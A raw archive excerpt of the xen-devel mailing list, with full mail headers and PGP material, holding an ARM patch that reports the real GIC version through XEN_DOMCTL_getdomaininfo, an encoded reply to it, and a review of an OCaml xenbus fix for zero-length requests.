XEN_DOMCTL_getdomaininfo always reports gic_version as
XEN_DOMCTL_CONFIG_GIC_NATIVE (0) regardless of what was actually
configured earlier=2E

Signed-off-by: Julian Vetter <julian=2Evetter@vates=2Etech>
---
 xen/arch/arm/domctl=2Ec | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/xen/arch/arm/domctl=2Ec b/xen/arch/arm/domctl=2Ec
index 6c9a3f9920=2E=2Eb76af56fad 100644
--- a/xen/arch/arm/domctl=2Ec
+++ b/xen/arch/arm/domctl=2Ec
@@ -24,6 +24,8 @@ void arch_get_domain_info(const struct domain *d,
     info->flags |=3D XEN_DOMINF_hap;
=20
     info->gpaddr_bits =3D p2m_ipa_bits;
+
+    info->arch_config=2Egic_version =3D d->arch=2Evgic=2Eversion;
 }
=20
 static int handle_vuart_init(struct domain *d,=20
--=20
2=2E53=2E0



-- 
 | Vates 

XCP-ng & Xen Orchestra - Vates solutions

web: https://vate=
s=2Etech
---=Part.523.b858fd9adff023b0.19f47098f17.a822c42b8a04f393=---


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 13:30:30 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 13:30:30 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358179.1612426 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whopc-00034x-Gx; Thu, 09 Jul 2026 13:30:24 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358179.1612426; Thu, 09 Jul 2026 13:30:24 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whopc-00034q-EM; Thu, 09 Jul 2026 13:30:24 +0000
Received: by outflank-mailman (input) for mailman id 1358179;
 Thu, 09 Jul 2026 13:30:23 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f47127053000edb5@swg.vates.tech>)
 id 1whopb-00034k-0u
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 13:30:23 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whopY-0030cB-Hk
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 15:30:20 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f47127053000edb5@swg.vates.tech>)
 id 6a4fa26a-2eae-0a2a0a5409dd-0a2a4509d7dc-12
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 15:30:20 +0200
Received: from [185.255.28.18] (helo=prod-mta-13.swg-srv.net)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f47127053000edb5@swg.vates.tech>)
 id 6a4fa26c-b440-0a2a45090019-b9ff1c128e13-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 15:30:20 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f47127053000edb5.005 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Thu, 09 Jul 2026 13:30:18 +0000
Received: from [192.168.1.18] (88-188-240-210.subs.proxad.net [88.188.240.210])
 (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id B027881F88;
 Thu,  9 Jul 2026 15:30:17 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=70u/FsFQGI3hA7sQLdw2qtBVlE4IV2OHgwOm2kOxi4E=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=lkq1EWCNTFkxiF+YoOL4prQUabQ5627jWn13Ha3U7ATf4OIcxN7VCVPL3Ggo3YsQ9mTy81LM0
 k5UayMWNEe+zOGXvmElM6N23UGheXhN5p+0pbbLZ0D7FtyOZ/M+tIJy/rftWeswmhL6aYcjJZwL
 WRH6a/ALnZn9YcO0KfvI1XUhn0AIGDfNq7fEklEO6jaFSpdZw/6uRlInGSh8DWjAhw5bVHNiF36
 0XS7WCBKHIia0nBHGby3vHJg5TY0Ukh6blhTsz9sKVdWJ7FKA1/z7+qazGjTjkezH7Y/FawxRe9
 Bcl64yC+sezhkDXXzVJ91/oRyCmU5yxWk8bbGwCslk0A==
X-Zone-Loop: 876bdd5e276569a4bcfca836e10048413ebbc4ed99eb
x-campaign-type: default
x-transaction-id: 0dad8b52-ba70-48f1-887a-81f72f4e03ef
x-swg-uid: 01-0e1c4e13-8fc6-4965-8177-b53e41effcac
X-Mailer: Sweego
Message-ID:
 <1783603818.8631fc262581453bbf619ec5b2062170.19f47127053000edb5@vates.tech>
x-swg-bid: 1783603818.8631fc262581453bbf619ec5b2062170.19f47127053000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Thu, 9 Jul 2026 15:30:17 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] xen/arm: report proper GIC version via
 XEN_DOMCTL_getdomaininfo
To: Julian Vetter <julian.vetter@vates.tech>, xen-devel@lists.xenproject.org
Cc: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
 <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
References: <1783603237.8631fc262581453bbf619ec5b2062170.19f470991a0000edb5@vates.tech>
Content-Language: en-US
From: Teddy Astie <teddy.astie@vates.tech>
Autocrypt: addr=teddy.astie@vates.tech; keydata=
 xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7LTBVHV/XO
 Zw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJT4ny+OGntnJntUoR
 KRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJAWicutjkkUgd28Bh6HV9EIumH
 tCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaT
 VqMdqul07o72m3eA2mf+LMu9a04FX/d4wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/
 EoucejoZ5SH49ksmVAmKOLktOaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+S
 PhHar7TPKjFz0G3DPNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89
 MXfQXZ3qt1Q01B1+sU0I8xsAEQEAAc0kVGVkZHkgQXN0aWUgPHRlZGR5LmFzdGllQHZhdGVz
 LnRlY2g+wsENBBMBCAA3FiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sK8FCQWjmoACGwME
 CwkIBwUVCAkKCwUWAgMBAAAKCRBmD6nRAsvP0ID6DACGOktArFbLKHNzuyOVCskwfUZPla6Z
 pd3GZ8r61SrAKePIr2BnpgPkd0hV3bSRkRLIrgjzR2NRCzfp0x0HfuhcYfAYPR46XHTvjaJE
 v99sT/vGUG1BZguYDOScSEpgSNaNlYum3RKZbMuROxdK8G+YHccJY8PvWSq2K2yiae2KGiAv
 1yjnZxug9/PtDfX8vQFUSg2w1ukRDf50wvDohN1zUQfFtofOP2xCRsDZiHAlQ0pF+aUjXQhP
 eP3Idpf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17sW/+ybCEokdVacZG
 zOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fuoGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+
 lOWSvdNHgoEkWR0RXBPQjnGmLKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/Off
 O485NOTKwGOxyWb006cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR
 8ULR9nX0LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
 x9fhaZEsniw8/bYgC3igkk5YJiOa
In-Reply-To: <1783603237.8631fc262581453bbf619ec5b2062170.19f470991a0000edb5@vates.tech>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------79euMm2uPCLAl6A4v9yzY7Kg"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783603817895
X-purgate-ID: tlsNG-bad1c0/1783603820-57F66A0B-4ED235C7/0/0
X-purgate-type: clean
X-purgate-size: 7950

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------79euMm2uPCLAl6A4v9yzY7Kg
Content-Type: multipart/mixed; boundary="------------r1Y109u4KXGT07tgG0OeU0S9";
 protected-headers="v1"
From: Teddy Astie <teddy.astie@vates.tech>
To: Julian Vetter <julian.vetter@vates.tech>, xen-devel@lists.xenproject.org
Cc: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
 <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
Message-ID: <750d24bc-aae4-4d44-b410-c7d1aa7a8fcb@vates.tech>
Subject: Re: [PATCH] xen/arm: report proper GIC version via
 XEN_DOMCTL_getdomaininfo
References: <1783603237.8631fc262581453bbf619ec5b2062170.19f470991a0000edb5@vates.tech>
In-Reply-To: <1783603237.8631fc262581453bbf619ec5b2062170.19f470991a0000edb5@vates.tech>

--------------r1Y109u4KXGT07tgG0OeU0S9
Content-Type: multipart/mixed; boundary="------------9yKiFymgq0eGXhW1AyI74daB"

--------------9yKiFymgq0eGXhW1AyI74daB
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

TGUgMDkvMDcvMjAyNiDDoCAxNToyMiwgSnVsaWFuIFZldHRlciBhIMOpY3JpdMKgOg0KPiBX
aGVuIGNyZWF0aW5nIGEgZG9tYWluIG9uIEFSTSwgYW5kIHBhc3NpbmcgWEVOX0RPTUNUTF9D
T05GSUdfR0lDX05BVElWRQ0KPiBmb3IgdGhlIGdpY192ZXJzaW9uIGZpZWxkIGluIHRoZSBz
dHJ1Y3QgeGVuX2FyY2hfZG9tYWluY29uZmlnLA0KPiBhcmNoX3Nhbml0aXNlX2RvbWFpbl9j
b25maWcoKSByZXNvbHZlcyB0aGlzIHRvIHRoZSBhcHByb3JwaWF0ZSBHSUNfVjIgb3INCj4g
R0lDX1YzIHZlcnNpb24gdGhlIGRvbWFpbiBhY3R1YWxseSBoYXMsIGJhc2VkIG9uIHRoZSBo
b3N0J3MNCj4gZ2ljX2h3X3ZlcnNpb24oKS4gVGhhdCB2YWx1ZSBpcyBzdG9yZWQgaW4gdGhl
IGRvbWFpbiBhcw0KPiBkLT5hcmNoLnZnaWMudmVyc2lvbiwgYnV0IGNhbid0IGJlIHF1ZXJp
ZWQgdGhyb3VnaCBhbnkgb3RoZXIgZG9tY3RsDQo+IGxhdGVyLiBUb29sc3RhY2tzIHRoYXQg
Y3JlYXRlIGFuZCBidWlsZCBhIGRvbWFpbiBpbiB0aGUgc2FtZSBjYWxsDQo+IGFscmVhZHkg
aGF2ZSB0aGlzIGluZm8gZnJvbSB0aGUgY3JlYXRlZG9tYWluIHJlcGx5IGFuZCBuZXZlciBu
ZWVkIHRvIGFzaw0KPiBhZ2Fpbi4NCj4gDQo+IFRv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eGXhW1AyI74daB
Content-Type: application/pgp-keys; name="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Disposition: attachment; filename="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7L
TBVHV/XOZw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJ
T4ny+OGntnJntUoRKRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJA
WicutjkkUgd28Bh6HV9EIumHtCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO
8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaTVqMdqul07o72m3eA2mf+LMu9a04FX/d4
wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/EoucejoZ5SH49ksmVAmKOLkt
OaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+SPhHar7TPKjFz0G3D
PNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89MXfQXZ3q
t1Q01B1+sU0I8xsAEQEAAc0kVGVkZHkgQXN0aWUgPHRlZGR5LmFzdGllQHZhdGVz
LnRlY2g+wsENBBMBCAA3FiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sK8FCQWj
moACGwMECwkIBwUVCAkKCwUWAgMBAAAKCRBmD6nRAsvP0ID6DACGOktArFbLKHNz
uyOVCskwfUZPla6Zpd3GZ8r61SrAKePIr2BnpgPkd0hV3bSRkRLIrgjzR2NRCzfp
0x0HfuhcYfAYPR46XHTvjaJEv99sT/vGUG1BZguYDOScSEpgSNaNlYum3RKZbMuR
OxdK8G+YHccJY8PvWSq2K2yiae2KGiAv1yjnZxug9/PtDfX8vQFUSg2w1ukRDf50
wvDohN1zU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4NurUeHtyFk
/dS0XTOQi2wVUb17sW/+ybCEokdVacZGzOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fu
oGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+lOWSvdNHgoEkWR0RXBPQjnGm
LKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/OffO485NOTKwGOxyWb0
06cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR8ULR9nX0
LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
x9fhaZEsniw8/bYgC3igkk5YJiOa
=3DlUIA
-----END PGP PUBLIC KEY BLOCK-----

--------------9yKiFymgq0eGXhW1AyI74daB--

--------------r1Y109u4KXGT07tgG0OeU0S9--

--------------79euMm2uPCLAl6A4v9yzY7Kg
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsD5BAABCAAjFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmpPomkFAwAAAAAACgkQZg+p0QLLz9DW
XAv8DNJSV3JGa0lPlOB1/JOQW4MGuggnsVcdO3XDN71MMiY4YqFM5mFxvIv+P2AVgZisIWUN7jBS
3A8fx1YM1FwmM0Rw6h+A3GHqH8zZUghYI0ebjdcCpH1LP3ckeW5TzqvW7wUJMeuX+yhQSGdEEdFn
Mgzxg5uJ67suPEeDWy2GCncHH/zbjOyVYPdFUF1BOU6yRQrvKy2Gl4IdMF4DFzdn57ZeX/a3jk+K
QcBS2GQkkcQ3ZLRqNyNv1RPSksBBe8O/1+swgJGCkSl+WoxyeYa79lh9qDC/5KABQzqXRTm/4au+
3QQId6wEEJJ+ctf+dZrJC1ikGFEK1eMRXt6xV3+MXOksUkQQkfRe+VPm6YhCtJGaVAaqIK/hHreM
ruwurfhCxigdpjAM06ylugrLFy8ash8QD8J4mfY/RCwgwwV3zOTnew5tYEMKyRs6UvoUiYaag5x2
KHrgLgMQIQv0pGri2JiQe46CXKJekSJAAmnQERIsJLiwkOqsnIeDK747ihPq
=Yk7E
-----END PGP SIGNATURE-----

--------------79euMm2uPCLAl6A4v9yzY7Kg--


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 13:39:00 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 13:39:00 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358191.1612435 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whoxj-0003lf-8p; Thu, 09 Jul 2026 13:38:47 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358191.1612435; Thu, 09 Jul 2026 13:38:47 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whoxj-0003lY-6F; Thu, 09 Jul 2026 13:38:47 +0000
Received: by outflank-mailman (input) for mailman id 1358191;
 Thu, 09 Jul 2026 13:38:45 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f471a22b0000edb5@swg.vates.tech>)
 id 1whoxh-0003lS-Mb
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 13:38:45 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whoxg-003lO7-18
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 15:38:44 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f471a22b0000edb5@swg.vates.tech>)
 id 6a4fa462-e002-0a2a0a5209dd-0a2a4502cbc2-10
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 15:38:44 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f471a22b0000edb5@swg.vates.tech>)
 id 6a4fa463-64c6-0a2a45020019-b9ff1c23979b-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 15:38:43 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f471a22b0000edb5.002 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Thu, 09 Jul 2026 13:38:42 +0000
Received: from xps13 (lfbn-lyo-1-392-219.w2-7.abo.wanadoo.fr [2.7.22.219])
 (Authenticated sender: guillaume.thouvenin)
 by mail2.vates.fr (Postfix) with ESMTPSA id E235F81FA9;
 Thu,  9 Jul 2026 15:38:41 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=emI/7sIwRHwJxEO9JDhWmv1nUA8d/7RiIe/jz0K5Fe4=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=Ed5/k0bXomMWa+QZi0lkus0GHfg4IN2eGyptMPTCMUhGs0lqVPus7QnbuP9sKvXUzrBv5Jhus
 U+idW82Uo6jHMFcakF1qobGeJMOWvCkgRExRSSdC14Aj3AllFPZGJOFw1eR48txsV0unpu0gV90
 tEdwRkjsSxKV2Rj7tiVoMvNGE/14Q99wuqRHcgSrhp5uh6Jg16YhvKTjc8pZZQFE11O9ADLB9ru
 cTvXSx5eMAaluMAUP42GeyseanjK8/YZgSm0DoHyY5yVAYlYSuvpVmxOywzsEZ9dWwsEtU9B1Nk
 KTmxpj2Uf0z9fKIbfrC8BcTVlWOPvV9OSi26/IDvor/g==
X-Zone-Loop: 1934d72960d2b6fa1705a4e7d9a341c90e1603e5f7f9
x-campaign-type: default
x-transaction-id: 43273463-acf2-4f28-973d-6a0db09f1c42
x-swg-uid: 01-64f67ac1-f17c-4c5b-9983-59d05ea84270
X-Mailer: Sweego
Message-ID:
 <1783604323.8631fc262581453bbf619ec5b2062170.19f471a22b0000edb5@vates.tech>
x-swg-bid: 1783604323.8631fc262581453bbf619ec5b2062170.19f471a22b0000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Thu, 9 Jul 2026 15:38:40 +0200
From: Guillaume Thouvenin <guillaume.thouvenin@vates.tech>
To: Andrii Sultanov <andriy.sultanov@vates.tech>
Cc: xen-devel@lists.xenproject.org, 
	Andrew Cooper <andrew.cooper3@citrix.com>, Anthony PERARD <anthony.perard@vates.tech>, 
	George Dunlap <dunlapg@umich.edu>
Subject: Re: [PATCH v1] tools/ocaml: xenbus - Fix handling of requests with
 len = 0 for socket connections
References: <b4e53497b6597ba9d9712058c97436d1445cce79.1783594799.git.andriy.sultanov@vates.tech>
MIME-Version: 1.0
Content-Disposition: inline
In-Reply-To: <b4e53497b6597ba9d9712058c97436d1445cce79.1783594799.git.andriy.sultanov@vates.tech>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.52b.4a74cb983be72e3a.19f471a1ef5.d52f07e356c85ff=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783604322042
X-purgate-ID: tlsNG-720697/1783604323-3ED42A87-AE5FAE4F/0/0
X-purgate-type: clean
X-purgate-size: 3080

---=Part.52b.4a74cb983be72e3a.19f471a1ef5.d52f07e356c85ff=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On Thu, Jul 09, 2026 at 12:00:09PM +0000, Andrii Sultanov wrote:
> Following the report at https://lore=2Ekernel=2Eorg/xen-devel/CAFLBxZaeT=
McF4tcV45MJdCVx4A6qbzQdjKei_Quh_iLrtARVFA@mail=2Egmail=2Ecom/
>=20
> Without this fix, the backend would be stuck waiting on the zero-sized
> body until the next request comes in=2E
>=20
> Instead return the request immediately after reading the header, there's
> no need to wait for another call to =2Ehas_more_input and =2Einput
>=20
> Reported-by: George Dunlap <dunlapg@umich=2Eedu>
> Signed-off-by: Andrii Sultanov <andriy=2Esultanov@vates=2Etech>
> ---
>  tools/ocaml/libs/xb/xb=2Eml | 25 +++++++++++++++++++------
>  1 file changed, 19 insertions(+), 6 deletions(-)
>=20
> diff --git a/tools/ocaml/libs/xb/xb=2Eml b/tools/ocaml/libs/xb/xb=2Eml
> index 3e3ef2b29d=2E=2E12ddb05c6d 100644
> --- a/tools/ocaml/libs/xb/xb=2Eml
> +++ b/tools/ocaml/libs/xb/xb=2Eml
> @@ -249,6 +249,11 @@ let can_input con =3D Queue=2Ecan_push con=2Epkt_ou=
t CommandReply
> =20
>  (* NB: can throw Reconnect *)
>  let input con =3D
> +  let reset_and_return partial_pkt =3D
> +    let pkt =3D Packet=2Eof_partialpkt partial_pkt in
> +    con=2Epartial_in <- init_partial_in ();
> +    Some pkt
> +  in
>    if not (can_input con) then None
>    else
>      let to_read =3D to_read con in
> @@ -264,17 +269,25 @@ let input con =3D
>          if sz > 0 then
>            Partial=2Eappend partial_pkt (Bytes=2Eto_string b) sz;
>          if Partial=2Eto_complete partial_pkt =3D 0 then (
> -          let pkt =3D Packet=2Eof_partialpkt partial_pkt in
> -          con=2Epartial_in <- init_partial_in ();
> -          Some pkt
> +          reset_and_return partial_pkt
>          ) else None
>        | NoHdr (i, buf)      ->
>          (* we complete the partial header *)
>          if sz > 0 then
>            Bytes=2Eblit b 0 buf (Partial=2Eheader_size () - i) sz;
> -        con=2Epartial_in <- if sz =3D i then
> -            HaveHdr (Partial=2Eof_string (Bytes=2Eto_string buf)) else =
NoHdr (i - sz, buf);
> -        None
> +        if sz =3D i then
> +          let partial_pkt =3D Partial=2Eof_string (Bytes=2Eto_string bu=
f) in
> +          (* If there is no body, we can return the full request immedi=
ately *)
> +          if Partial=2Eto_complete partial_pkt =3D 0 then
> +            reset_and_return partial_pkt
> +          else (
> +            con=2Epartial_in <- HaveHdr partial_pkt;
> +            None
> +          )
> +        else (
> +          con=2Epartial_in <- NoHdr (i - sz, buf);
> +          None
> +        )
>      )
> =20
>  let classify t =3D
> --=20
> 2=2E54=2E0
>=20

Reviewed-by: Guillaume Thouvenin <guillaume=2Ethouvenin@vates=2Etech>


-- 
 | Vates 

XCP-ng & Xen Orchestra - Vates solutions

web: https://vate=
s=2Etech
---=Part.52b.4a74cb983be72e3a.19f471a1ef5.d52f07e356c85ff=---


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 14:27:19 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 14:27:19 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358221.1612446 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whpiY-0001Wu-MZ; Thu, 09 Jul 2026 14:27:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358221.1612446; Thu, 09 Jul 2026 14:27:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whpiY-0001Wn-IH; Thu, 09 Jul 2026 14:27:10 +0000
Received: by outflank-mailman (input) for mailman id 1358221;
 Thu, 09 Jul 2026 14:27:08 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1whpiW-0001Wh-Fs
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 14:27:08 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whpiV-00CLFo-St
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 16:27:07 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4fafbb-bab6-0a2a0a5309dd-0a2a4509d454-4
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 16:27:07 +0200
Received: from [209.85.128.48] (helo=mail-wm1-f48.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4fafbb-b440-0a2a45090019-d1558030b468-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 16:27:07 +0200
Received: by mail-wm1-f48.google.com with SMTP id
 5b1f17b1804b1-493c733f15aso9619365e9.0
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 07:27:07 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493eb6cccfdsm65341035e9.1.2026.07.09.07.27.06
